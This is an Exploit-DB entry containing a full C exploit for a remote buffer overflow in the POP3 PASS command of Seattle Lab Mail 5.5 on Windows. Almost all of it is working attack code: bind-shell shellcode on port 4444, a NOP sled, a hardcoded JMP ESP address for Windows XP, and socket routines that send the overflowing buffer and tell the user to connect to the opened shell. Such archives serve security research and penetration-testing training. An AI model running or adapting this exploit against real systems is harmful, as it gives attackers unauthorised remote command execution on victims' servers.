Exploit-DB #646
Description: Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (3)
Type: remote
Platform: windows
Date: 2004-12-22
Author: Ivan Ivanovic

Exploit:
/*
SLMAIL REMOTE PASSWD BOF - Ivan Ivanovic Ivanov Иван-дурак
недействительный 31337 Team
*/

#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

// [*] bind 4444 
unsigned char shellcode[] = 
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";

void exploit(int sock) {
      FILE *test;
      int *ptr;
      char userbuf[] = "USER madivan\r\n";
      char evil[3001];
      char buf[3012];
      char receive[1024];
      char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
                       "\x90\x90\x90\x90\x90\x90\x90\x90";
      memset(buf, 0x00, 3012);
      memset(evil, 0x00, 3001);
      memset(evil, 0x43, 3000);
      ptr = &evil;
      ptr = ptr + 652; // 2608 
      memcpy(ptr, &nopsled, 16);
      ptr = ptr + 4;
      memcpy(ptr, &shellcode, 317);
      *(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP

      // banner
      recv(sock, receive, 200, 0);
      printf("[+] %s", receive);
      // user
      printf("[+] Sending Username...\n");
      send(sock, userbuf, strlen(userbuf), 0);
      recv(sock, receive, 200, 0);
      printf("[+] %s", receive);
      // passwd
      printf("[+] Sending Evil buffer...\n");
      sprintf(buf, "PASS %s\r\n", evil);
      //test = fopen("test.txt", "w");
      //fprintf(test, "%s", buf);
      //fclose(test);
      send(sock, buf, strlen(buf), 0);
      printf("[*] Done! Connect to the host on port 4444...\n\n");
}

int connect_target(char *host, u_short port)
{
    int sock = 0;
    struct hostent *hp;
    WSADATA wsa;
    struct sockaddr_in sa;

    WSAStartup(MAKEWORD(2,0), &wsa);
    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
        printf("gethostbyname() error!\n"); exit(0);
    }
    printf("[+] Connecting to %s\n", host);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0)      {
        printf("[-] socket blah?\n");
        exit(0);
        }
    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
        {printf("[-] connect() blah!\n");
        exit(0);
          }
    printf("[+] Connected to %s\n", host);
    return sock;
}


int main(int argc, char **argv)
{
    int sock = 0;
    int data, port;
    printf("\n[$] SLMail Server POP3 PASSWD Buffer Overflow exploit\n");
    printf("[$] by Mad Ivan [ void31337 team ] - http://exploit.void31337.ru\n\n");
    if ( argc < 2 ) { printf("usage: slmail-ex.exe <host> \n\n"); exit(0); }
    port = 110;
    sock = connect_target(argv[1], port);
    exploit(sock);
    closesocket(sock);
    return 0;
}